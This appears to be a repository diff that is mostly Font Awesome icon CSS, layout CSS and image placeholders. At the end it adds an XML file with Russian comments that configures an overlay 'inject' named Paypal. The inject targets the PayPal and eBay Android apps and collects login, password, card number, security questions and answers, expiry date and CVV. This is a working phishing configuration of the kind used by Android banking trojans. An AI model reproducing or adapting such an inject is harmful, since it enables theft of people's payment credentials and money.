.fa-folder-open::before { content: ""; }
|
||||
.fa-arrows-v::before { content: ""; }
|
||||
.fa-arrows-h::before { content: ""; }
|
||||
.fa-bar-chart-o::before, .fa-bar-chart::before { content: ""; }
|
||||
.fa-twitter-square::before { content: ""; }
|
||||
.fa-facebook-square::before { content: ""; }
|
||||
.fa-camera-retro::before { content: ""; }
|
||||
.fa-key::before { content: ""; }
|
||||
.fa-gears::before, .fa-cogs::before { content: ""; }
|
||||
.fa-comments::before { content: ""; }
|
||||
.fa-thumbs-o-up::before { content: ""; }
|
||||
.fa-thumbs-o-down::before { content: ""; }
|
||||
.fa-star-half::before { content: ""; }
|
||||
.fa-heart-o::before { content: ""; }
|
||||
.fa-sign-out::before { content: ""; }
|
||||
.fa-linkedin-square::before { content: ""; }
|
||||
.fa-thumb-tack::before { content: ""; }
|
||||
.fa-external-link::before { content: ""; }
|
||||
.fa-sign-in::before { content: ""; }
|
||||
.fa-trophy::before { content: ""; }
|
||||
.fa-github-square::before { content: ""; }
|
||||
.fa-upload::before { content: ""; }
|
||||
.fa-lemon-o::before { content: ""; }
|
||||
.fa-phone::before { content: ""; }
|
||||
.fa-square-o::before { content: ""; }
|
||||
.fa-bookmark-o::before { content: ""; }
|
||||
.fa-phone-square::before { content: ""; }
|
||||
.fa-twitter::before { content: ""; }
|
||||
.fa-facebook-f::before, .fa-facebook::before { content: ""; }
|
||||
.fa-github::before { content: ""; }
|
||||
.fa-unlock::before { content: ""; }
|
||||
.fa-credit-card::before { content: ""; }
|
||||
.fa-rss::before { content: ""; }
|
||||
.fa-hdd-o::before { content: ""; }
|
||||
.fa-bullhorn::before { content: ""; }
|
||||
.fa-bell::before { content: ""; }
|
||||
.fa-certificate::before { content: ""; }
|
||||
.fa-hand-o-right::before { content: ""; }
|
||||
.fa-hand-o-left::before { content: ""; }
|
||||
.fa-hand-o-up::before { content: ""; }
|
||||
.fa-hand-o-down::before { content: ""; }
|
||||
.fa-arrow-circle-left::before { content: ""; }
|
||||
.fa-arrow-circle-right::before { content: ""; }
|
||||
.fa-arrow-circle-up::before { content: ""; }
|
||||
.fa-arrow-circle-down::before { content: ""; }
|
||||
.fa-globe::before { content: ""; }
|
||||
.fa-wrench::before { content: ""; }
|
||||
.fa-tasks::before { content: ""; }
|
||||
.fa-filter::before { content: ""; }
|
||||
.fa-briefcase::before { content: ""; }
|
||||
.fa-arrows-alt::before { content: ""; }
|
||||
.fa-group::before, .fa-users::before { content: ""; }
|
||||
.fa-chain::before, .fa-link::before { content: ""; }
|
||||
.fa-cloud::before { content: ""; }
|
||||
.fa-flask::before { content: ""; }
|
||||
.fa-cut::before, .fa-scissors::before { content: ""; }
|
||||
.fa-copy::before, .fa-files-o::before { content: ""; }
|
||||
.fa-paperclip::before { content: ""; }
|
||||
.fa-save::before, .fa-floppy-o::before { content: ""; }
|
||||
.fa-square::before { content: ""; }
|
||||
.fa-navicon::before, .fa-reorder::before, .fa-bars::before { content: ""; }
|
||||
.fa-list-ul::before { content: ""; }
|
||||
.fa-list-ol::before { content: ""; }
|
||||
.fa-strikethrough::before { content: ""; }
|
||||
.fa-underline::before { content: ""; }
|
||||
.fa-table::before { content: ""; }
|
||||
.fa-magic::before { content: ""; }
|
||||
.fa-truck::before { content: ""; }
|
||||
.fa-pinterest::before { content: ""; }
|
||||
.fa-pinterest-square::before { content: ""; }
|
||||
.fa-google-plus-square::before { content: ""; }
|
||||
.fa-google-plus::before { content: ""; }
|
||||
.fa-money::before { content: ""; }
|
||||
.fa-caret-down::before { content: ""; }
|
||||
.fa-caret-up::before { content: ""; }
|
||||
.fa-caret-left::before { content: ""; }
|
||||
.fa-caret-right::before { content: ""; }
|
||||
.fa-columns::before { content: ""; }
|
||||
.fa-unsorted::before, .fa-sort::before { content: ""; }
|
||||
.fa-sort-down::before, .fa-sort-desc::before { content: ""; }
|
||||
.fa-sort-up::before, .fa-sort-asc::before { content: ""; }
|
||||
.fa-envelope::before { content: ""; }
|
||||
.fa-linkedin::before { content: ""; }
|
||||
.fa-rotate-left::before, .fa-undo::before { content: ""; }
|
||||
.fa-legal::before, .fa-gavel::before { content: ""; }
|
||||
.fa-dashboard::before, .fa-tachometer::before { content: ""; }
|
||||
.fa-comment-o::before { content: ""; }
|
||||
.fa-comments-o::before { content: ""; }
|
||||
.fa-flash::before, .fa-bolt::before { content: ""; }
|
||||
.fa-sitemap::before { content: ""; }
|
||||
.fa-umbrella::before { content: ""; }
|
||||
.fa-paste::before, .fa-clipboard::before { content: ""; }
|
||||
.fa-lightbulb-o::before { content: ""; }
|
||||
.fa-exchange::before { content: ""; }
|
||||
.fa-cloud-download::before { content: ""; }
|
||||
.fa-cloud-upload::before { content: ""; }
|
||||
.fa-user-md::before { content: ""; }
|
||||
.fa-stethoscope::before { content: ""; }
|
||||
.fa-suitcase::before { content: ""; }
|
||||
.fa-bell-o::before { content: ""; }
|
||||
.fa-coffee::before { content: ""; }
|
||||
.fa-cutlery::before { content: ""; }
|
||||
.fa-file-text-o::before { content: ""; }
|
||||
.fa-building-o::before { content: ""; }
|
||||
.fa-hospital-o::before { content: ""; }
|
||||
.fa-ambulance::before { content: ""; }
|
||||
.fa-medkit::before { content: ""; }
|
||||
.fa-fighter-jet::before { content: ""; }
|
||||
.fa-beer::before { content: ""; }
|
||||
.fa-h-square::before { content: ""; }
|
||||
.fa-plus-square::before { content: ""; }
|
||||
.fa-angle-double-left::before { content: ""; }
|
||||
.fa-angle-double-right::before { content: ""; }
|
||||
.fa-angle-double-up::before { content: ""; }
|
||||
.fa-angle-double-down::before { content: ""; }
|
||||
.fa-angle-left::before { content: ""; }
|
||||
.fa-angle-right::before { content: ""; }
|
||||
.fa-angle-up::before { content: ""; }
|
||||
.fa-angle-down::before { content: ""; }
|
||||
.fa-desktop::before { content: ""; }
|
||||
.fa-laptop::before { content: ""; }
|
||||
.fa-tablet::before { content: ""; }
|
||||
.fa-mobile-phone::before, .fa-mobile::before { content: ""; }
|
||||
.fa-circle-o::before { content: ""; }
|
||||
.fa-quote-left::before { content: ""; }
|
||||
.fa-quote-right::before { content: ""; }
|
||||
.fa-spinner::before { content: ""; }
|
||||
.fa-circle::before { content: ""; }
|
||||
.fa-mail-reply::before, .fa-reply::before { content: ""; }
|
||||
.fa-github-alt::before { content: ""; }
|
||||
.fa-folder-o::before { content: ""; }
|
||||
.fa-folder-open-o::before { content: ""; }
|
||||
.fa-smile-o::before { content: ""; }
|
||||
.fa-frown-o::before { content: ""; }
|
||||
.fa-meh-o::before { content: ""; }
|
||||
.fa-gamepad::before { content: ""; }
|
||||
.fa-keyboard-o::before { content: ""; }
|
||||
.fa-flag-o::before { content: ""; }
|
||||
.fa-flag-checkered::before { content: ""; }
|
||||
.fa-terminal::before { content: ""; }
|
||||
.fa-code::before { content: ""; }
|
||||
.fa-mail-reply-all::before, .fa-reply-all::before { content: ""; }
|
||||
.fa-star-half-empty::before, .fa-star-half-full::before, .fa-star-half-o::before { content: ""; }
|
||||
.fa-location-arrow::before { content: ""; }
|
||||
.fa-crop::before { content: ""; }
|
||||
.fa-code-fork::before { content: ""; }
|
||||
.fa-unlink::before, .fa-chain-broken::before { content: ""; }
|
||||
.fa-question::before { content: ""; }
|
||||
.fa-info::before { content: ""; }
|
||||
.fa-exclamation::before { content: ""; }
|
||||
.fa-superscript::before { content: ""; }
|
||||
.fa-subscript::before { content: ""; }
|
||||
.fa-eraser::before { content: ""; }
|
||||
.fa-puzzle-piece::before { content: ""; }
|
||||
.fa-microphone::before { content: ""; }
|
||||
.fa-microphone-slash::before { content: ""; }
|
||||
.fa-shield::before { content: ""; }
|
||||
.fa-calendar-o::before { content: ""; }
|
||||
.fa-fire-extinguisher::before { content: ""; }
|
||||
.fa-rocket::before { content: ""; }
|
||||
.fa-maxcdn::before { content: ""; }
|
||||
.fa-chevron-circle-left::before { content: ""; }
|
||||
.fa-chevron-circle-right::before { content: ""; }
|
||||
.fa-chevron-circle-up::before { content: ""; }
|
||||
.fa-chevron-circle-down::before { content: ""; }
|
||||
.fa-html5::before { content: ""; }
|
||||
.fa-css3::before { content: ""; }
|
||||
.fa-anchor::before { content: ""; }
|
||||
.fa-unlock-alt::before { content: ""; }
|
||||
.fa-bullseye::before { content: ""; }
|
||||
.fa-ellipsis-h::before { content: ""; }
|
||||
.fa-ellipsis-v::before { content: ""; }
|
||||
.fa-rss-square::before { content: ""; }
|
||||
.fa-play-circle::before { content: ""; }
|
||||
.fa-ticket::before { content: ""; }
|
||||
.fa-minus-square::before { content: ""; }
|
||||
.fa-minus-square-o::before { content: ""; }
|
||||
.fa-level-up::before { content: ""; }
|
||||
.fa-level-down::before { content: ""; }
|
||||
.fa-check-square::before { content: ""; }
|
||||
.fa-pencil-square::before { content: ""; }
|
||||
.fa-external-link-square::before { content: ""; }
|
||||
.fa-share-square::before { content: ""; }
|
||||
.fa-compass::before { content: ""; }
|
||||
.fa-toggle-down::before, .fa-caret-square-o-down::before { content: ""; }
|
||||
.fa-toggle-up::before, .fa-caret-square-o-up::before { content: ""; }
|
||||
.fa-toggle-right::before, .fa-caret-square-o-right::before { content: ""; }
|
||||
.fa-euro::before, .fa-eur::before { content: ""; }
|
||||
.fa-gbp::before { content: ""; }
|
||||
.fa-dollar::before, .fa-usd::before { content: ""; }
|
||||
.fa-rupee::before, .fa-inr::before { content: ""; }
|
||||
.fa-cny::before, .fa-rmb::before, .fa-yen::before, .fa-jpy::before { content: ""; }
|
||||
.fa-ruble::before, .fa-rouble::before, .fa-rub::before { content: ""; }
|
||||
.fa-won::before, .fa-krw::before { content: ""; }
|
||||
.fa-bitcoin::before, .fa-btc::before { content: ""; }
|
||||
.fa-file::before { content: ""; }
|
||||
.fa-file-text::before { content: ""; }
|
||||
.fa-sort-alpha-asc::before { content: ""; }
|
||||
.fa-sort-alpha-desc::before { content: ""; }
|
||||
.fa-sort-amount-asc::before { content: ""; }
|
||||
.fa-sort-amount-desc::before { content: ""; }
|
||||
.fa-sort-numeric-asc::before { content: ""; }
|
||||
.fa-sort-numeric-desc::before { content: ""; }
|
||||
.fa-thumbs-up::before { content: ""; }
|
||||
.fa-thumbs-down::before { content: ""; }
|
||||
.fa-youtube-square::before { content: ""; }
|
||||
.fa-youtube::before { content: ""; }
|
||||
.fa-xing::before { content: ""; }
|
||||
.fa-xing-square::before { content: ""; }
|
||||
.fa-youtube-play::before { content: ""; }
|
||||
.fa-dropbox::before { content: ""; }
|
||||
.fa-stack-overflow::before { content: ""; }
|
||||
.fa-instagram::before { content: ""; }
|
||||
.fa-flickr::before { content: ""; }
|
||||
.fa-adn::before { content: ""; }
|
||||
.fa-bitbucket::before { content: ""; }
|
||||
.fa-bitbucket-square::before { content: ""; }
|
||||
.fa-tumblr::before { content: ""; }
|
||||
.fa-tumblr-square::before { content: ""; }
|
||||
.fa-long-arrow-down::before { content: ""; }
|
||||
.fa-long-arrow-up::before { content: ""; }
|
||||
.fa-long-arrow-left::before { content: ""; }
|
||||
.fa-long-arrow-right::before { content: ""; }
|
||||
.fa-apple::before { content: ""; }
|
||||
.fa-windows::before { content: ""; }
|
||||
.fa-android::before { content: ""; }
|
||||
.fa-linux::before { content: ""; }
|
||||
.fa-dribbble::before { content: ""; }
|
||||
.fa-skype::before { content: ""; }
|
||||
.fa-foursquare::before { content: ""; }
|
||||
.fa-trello::before { content: ""; }
|
||||
.fa-female::before { content: ""; }
|
||||
.fa-male::before { content: ""; }
|
||||
.fa-gittip::before, .fa-gratipay::before { content: ""; }
|
||||
.fa-sun-o::before { content: ""; }
|
||||
.fa-moon-o::before { content: ""; }
|
||||
.fa-archive::before { content: ""; }
|
||||
.fa-bug::before { content: ""; }
|
||||
.fa-vk::before { content: ""; }
|
||||
.fa-weibo::before { content: ""; }
|
||||
.fa-renren::before { content: ""; }
|
||||
.fa-pagelines::before { content: ""; }
|
||||
.fa-stack-exchange::before { content: ""; }
|
||||
.fa-arrow-circle-o-right::before { content: ""; }
|
||||
.fa-arrow-circle-o-left::before { content: ""; }
|
||||
.fa-toggle-left::before, .fa-caret-square-o-left::before { content: ""; }
|
||||
.fa-dot-circle-o::before { content: ""; }
|
||||
.fa-wheelchair::before { content: ""; }
|
||||
.fa-vimeo-square::before { content: ""; }
|
||||
.fa-turkish-lira::before, .fa-try::before { content: ""; }
|
||||
.fa-plus-square-o::before { content: ""; }
|
||||
.fa-space-shuttle::before { content: ""; }
|
||||
.fa-slack::before { content: ""; }
|
||||
.fa-envelope-square::before { content: ""; }
|
||||
.fa-wordpress::before { content: ""; }
|
||||
.fa-openid::before { content: ""; }
|
||||
.fa-institution::before, .fa-bank::before, .fa-university::before { content: ""; }
|
||||
.fa-mortar-board::before, .fa-graduation-cap::before { content: ""; }
|
||||
.fa-yahoo::before { content: ""; }
|
||||
.fa-google::before { content: ""; }
|
||||
.fa-reddit::before { content: ""; }
|
||||
.fa-reddit-square::before { content: ""; }
|
||||
.fa-stumbleupon-circle::before { content: ""; }
|
||||
.fa-stumbleupon::before { content: ""; }
|
||||
.fa-delicious::before { content: ""; }
|
||||
.fa-digg::before { content: ""; }
|
||||
.fa-pied-piper::before { content: ""; }
|
||||
.fa-pied-piper-alt::before { content: ""; }
|
||||
.fa-drupal::before { content: ""; }
|
||||
.fa-joomla::before { content: ""; }
|
||||
.fa-language::before { content: ""; }
|
||||
.fa-fax::before { content: ""; }
|
||||
.fa-building::before { content: ""; }
|
||||
.fa-child::before { content: ""; }
|
||||
.fa-paw::before { content: ""; }
|
||||
.fa-spoon::before { content: ""; }
|
||||
.fa-cube::before { content: ""; }
|
||||
.fa-cubes::before { content: ""; }
|
||||
.fa-behance::before { content: ""; }
|
||||
.fa-behance-square::before { content: ""; }
|
||||
.fa-steam::before { content: ""; }
|
||||
.fa-steam-square::before { content: ""; }
|
||||
.fa-recycle::before { content: ""; }
|
||||
.fa-automobile::before, .fa-car::before { content: ""; }
|
||||
.fa-cab::before, .fa-taxi::before { content: ""; }
|
||||
.fa-tree::before { content: ""; }
|
||||
.fa-spotify::before { content: ""; }
|
||||
.fa-deviantart::before { content: ""; }
|
||||
.fa-soundcloud::before { content: ""; }
|
||||
.fa-database::before { content: ""; }
|
||||
.fa-file-pdf-o::before { content: ""; }
|
||||
.fa-file-word-o::before { content: ""; }
|
||||
.fa-file-excel-o::before { content: ""; }
|
||||
.fa-file-powerpoint-o::before { content: ""; }
|
||||
.fa-file-photo-o::before, .fa-file-picture-o::before, .fa-file-image-o::before { content: ""; }
|
||||
.fa-file-zip-o::before, .fa-file-archive-o::before { content: ""; }
|
||||
.fa-file-sound-o::before, .fa-file-audio-o::before { content: ""; }
|
||||
.fa-file-movie-o::before, .fa-file-video-o::before { content: ""; }
|
||||
.fa-file-code-o::before { content: ""; }
|
||||
.fa-vine::before { content: ""; }
|
||||
.fa-codepen::before { content: ""; }
|
||||
.fa-jsfiddle::before { content: ""; }
|
||||
.fa-life-bouy::before, .fa-life-buoy::before, .fa-life-saver::before, .fa-support::before, .fa-life-ring::before { content: ""; }
|
||||
.fa-circle-o-notch::before { content: ""; }
|
||||
.fa-ra::before, .fa-rebel::before { content: ""; }
|
||||
.fa-ge::before, .fa-empire::before { content: ""; }
|
||||
.fa-git-square::before { content: ""; }
|
||||
.fa-git::before { content: ""; }
|
||||
.fa-hacker-news::before { content: ""; }
|
||||
.fa-tencent-weibo::before { content: ""; }
|
||||
.fa-qq::before { content: ""; }
|
||||
.fa-wechat::before, .fa-weixin::before { content: ""; }
|
||||
.fa-send::before, .fa-paper-plane::before { content: ""; }
|
||||
.fa-send-o::before, .fa-paper-plane-o::before { content: ""; }
|
||||
.fa-history::before { content: ""; }
|
||||
.fa-genderless::before, .fa-circle-thin::before { content: ""; }
|
||||
.fa-header::before { content: ""; }
|
||||
.fa-paragraph::before { content: ""; }
|
||||
.fa-sliders::before { content: ""; }
|
||||
.fa-share-alt::before { content: ""; }
|
||||
.fa-share-alt-square::before { content: ""; }
|
||||
.fa-bomb::before { content: ""; }
|
||||
.fa-soccer-ball-o::before, .fa-futbol-o::before { content: ""; }
|
||||
.fa-tty::before { content: ""; }
|
||||
.fa-binoculars::before { content: ""; }
|
||||
.fa-plug::before { content: ""; }
|
||||
.fa-slideshare::before { content: ""; }
|
||||
.fa-twitch::before { content: ""; }
|
||||
.fa-yelp::before { content: ""; }
|
||||
.fa-newspaper-o::before { content: ""; }
|
||||
.fa-wifi::before { content: ""; }
|
||||
.fa-calculator::before { content: ""; }
|
||||
.fa-paypal::before { content: ""; }
|
||||
.fa-google-wallet::before { content: ""; }
|
||||
.fa-cc-visa::before { content: ""; }
|
||||
.fa-cc-mastercard::before { content: ""; }
|
||||
.fa-cc-discover::before { content: ""; }
|
||||
.fa-cc-amex::before { content: ""; }
|
||||
.fa-cc-paypal::before { content: ""; }
|
||||
.fa-cc-stripe::before { content: ""; }
|
||||
.fa-bell-slash::before { content: ""; }
|
||||
.fa-bell-slash-o::before { content: ""; }
|
||||
.fa-trash::before { content: ""; }
|
||||
.fa-copyright::before { content: ""; }
|
||||
.fa-at::before { content: ""; }
|
||||
.fa-eyedropper::before { content: ""; }
|
||||
.fa-paint-brush::before { content: ""; }
|
||||
.fa-birthday-cake::before { content: ""; }
|
||||
.fa-area-chart::before { content: ""; }
|
||||
.fa-pie-chart::before { content: ""; }
|
||||
.fa-line-chart::before { content: ""; }
|
||||
.fa-lastfm::before { content: ""; }
|
||||
.fa-lastfm-square::before { content: ""; }
|
||||
.fa-toggle-off::before { content: ""; }
|
||||
.fa-toggle-on::before { content: ""; }
|
||||
.fa-bicycle::before { content: ""; }
|
||||
.fa-bus::before { content: ""; }
|
||||
.fa-ioxhost::before { content: ""; }
|
||||
.fa-angellist::before { content: ""; }
|
||||
.fa-cc::before { content: ""; }
|
||||
.fa-shekel::before, .fa-sheqel::before, .fa-ils::before { content: ""; }
|
||||
.fa-meanpath::before { content: ""; }
|
||||
.fa-buysellads::before { content: ""; }
|
||||
.fa-connectdevelop::before { content: ""; }
|
||||
.fa-dashcube::before { content: ""; }
|
||||
.fa-forumbee::before { content: ""; }
|
||||
.fa-leanpub::before { content: ""; }
|
||||
.fa-sellsy::before { content: ""; }
|
||||
.fa-shirtsinbulk::before { content: ""; }
|
||||
.fa-simplybuilt::before { content: ""; }
|
||||
.fa-skyatlas::before { content: ""; }
|
||||
.fa-cart-plus::before { content: ""; }
|
||||
.fa-cart-arrow-down::before { content: ""; }
|
||||
.fa-diamond::before { content: ""; }
|
||||
.fa-ship::before { content: ""; }
|
||||
.fa-user-secret::before { content: ""; }
|
||||
.fa-motorcycle::before { content: ""; }
|
||||
.fa-street-view::before { content: ""; }
|
||||
.fa-heartbeat::before { content: ""; }
|
||||
.fa-venus::before { content: ""; }
|
||||
.fa-mars::before { content: ""; }
|
||||
.fa-mercury::before { content: ""; }
|
||||
.fa-transgender::before { content: ""; }
|
||||
.fa-transgender-alt::before { content: ""; }
|
||||
.fa-venus-double::before { content: ""; }
|
||||
.fa-mars-double::before { content: ""; }
|
||||
.fa-venus-mars::before { content: ""; }
|
||||
.fa-mars-stroke::before { content: ""; }
|
||||
.fa-mars-stroke-v::before { content: ""; }
|
||||
.fa-mars-stroke-h::before { content: ""; }
|
||||
.fa-neuter::before { content: ""; }
|
||||
.fa-facebook-official::before { content: ""; }
|
||||
.fa-pinterest-p::before { content: ""; }
|
||||
.fa-whatsapp::before { content: ""; }
|
||||
.fa-server::before { content: ""; }
|
||||
.fa-user-plus::before { content: ""; }
|
||||
.fa-user-times::before { content: ""; }
|
||||
.fa-hotel::before, .fa-bed::before { content: ""; }
|
||||
.fa-viacoin::before { content: ""; }
|
||||
.fa-train::before { content: ""; }
|
||||
.fa-subway::before { content: ""; }
|
||||
.fa-medium::before { content: ""; }
|
||||
/* ::::: http://enableds.com/products/tinybar/styles/animate.css ::::: */
|
||||
|
||||
|
||||
|
||||
|
||||
.cont {
|
||||
min-height: 100%;
|
||||
margin: 0 auto -73px; /* the bottom margin is the negative value of the footer's height */
|
||||
font-weight: bold;
|
||||
width: 100%;
|
||||
height: auto;
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
||||
.fooo {
|
||||
height: 65px; /* '.push' must be the same height as 'footer' */
|
||||
}
|
||||
|
After Width: | Height: | Size: 1.2 KiB |
|
After Width: | Height: | Size: 16 KiB |
|
After Width: | Height: | Size: 19 KiB |
|
After Width: | Height: | Size: 18 KiB |
@@ -0,0 +1,66 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?><!-- Файл должен быть в кодировке UTF-8 (без BOM) -->
|
||||
<document>
|
||||
<name>Paypal</name><!-- Название инжекта -->
|
||||
<apps>com.paypal.android.p2pmobile;com.ebay.mobile</apps><!-- Приложения, которые будут перекрываться (через точку с запятой) -->
|
||||
<size>1</size><!-- Размер инжекта (1 - стандартный, 2 - в виде диалога) -->
|
||||
<storage>1</storage><!-- Место хранения инжекта (1 - в устройстве, 2 - на сервере) -->
|
||||
|
||||
<step><!-- Новый шаг (форма) -->
|
||||
<param>
|
||||
<column>Login</column>
|
||||
<name>login</name>
|
||||
</param>
|
||||
|
||||
<param><!-- Параметр в шаге (форме) -->
|
||||
<column>Password</column><!-- Название колонки (для вкладки "Инжекты"->"Данные") -->
|
||||
<name>password</name><!-- Название параметра (поле name в форме в файле index.html) -->
|
||||
</param>
|
||||
|
||||
<param>
|
||||
<column>Card Number</column>
|
||||
<name>card_number</name>
|
||||
</param>
|
||||
</step>
|
||||
|
||||
<step>
|
||||
<param>
|
||||
<column>Question 1</column>
|
||||
<name>vopros1</name>
|
||||
</param>
|
||||
|
||||
<param>
|
||||
<column>Answer 1</column>
|
||||
<name>otvet1</name>
|
||||
</param>
|
||||
|
||||
<param>
|
||||
<column>Question 2</column>
|
||||
<name>vopros2</name>
|
||||
</param>
|
||||
|
||||
<param>
|
||||
<column>Answer 2</column>
|
||||
<name>otvet2</name>
|
||||
</param>
|
||||
</step>
|
||||
|
||||
<step>
|
||||
<param>
|
||||
<column>MM</column>
|
||||
<name>expiry_month</name>
|
||||
</param>
|
||||
|
||||
<param>
|
||||
<column>YY</column>
|
||||
<name>expiry_year</name>
|
||||
</param>
|
||||
</step>
|
||||
|
||||
<step>
|
||||
<param>
|
||||
<column>CVV</column>
|
||||
<name>cvv</name>
|
||||
</param>
|
||||
</step>
|
||||
|
||||
</document>
|
||||
|
After Width: | Height: | Size: 12 KiB |